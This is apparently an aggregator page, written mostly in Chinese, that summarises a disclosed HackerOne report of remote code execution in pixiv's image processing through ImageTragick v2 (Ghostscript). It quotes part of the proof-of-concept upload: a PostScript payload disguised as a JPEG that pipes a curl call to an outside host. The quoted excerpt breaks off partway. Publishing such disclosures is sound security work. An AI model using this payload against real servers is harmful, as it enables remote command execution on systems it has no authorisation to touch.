RCE due to ImageTragick v2
该报告还没有中文解读。
原文摘录
摘自原文（654 字符中的一小部分）
Hello Pixiv team! Your Image processing process suffering from ImageTragick v2. Issue is caused by ghostscript RCE findnings.
原文中的代码
------WebKitFormBoundaryXX05yrKS4g8d9CWh
Content-Disposition: form-data; name="shop[header]"; filename="imagetragick.jpeg"
Content-Type: image/jpeg
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%curl https://avtohanter.ru/qwetest) …默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 pixiv 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @chaosbolt · 版权归作者与 pixiv 所有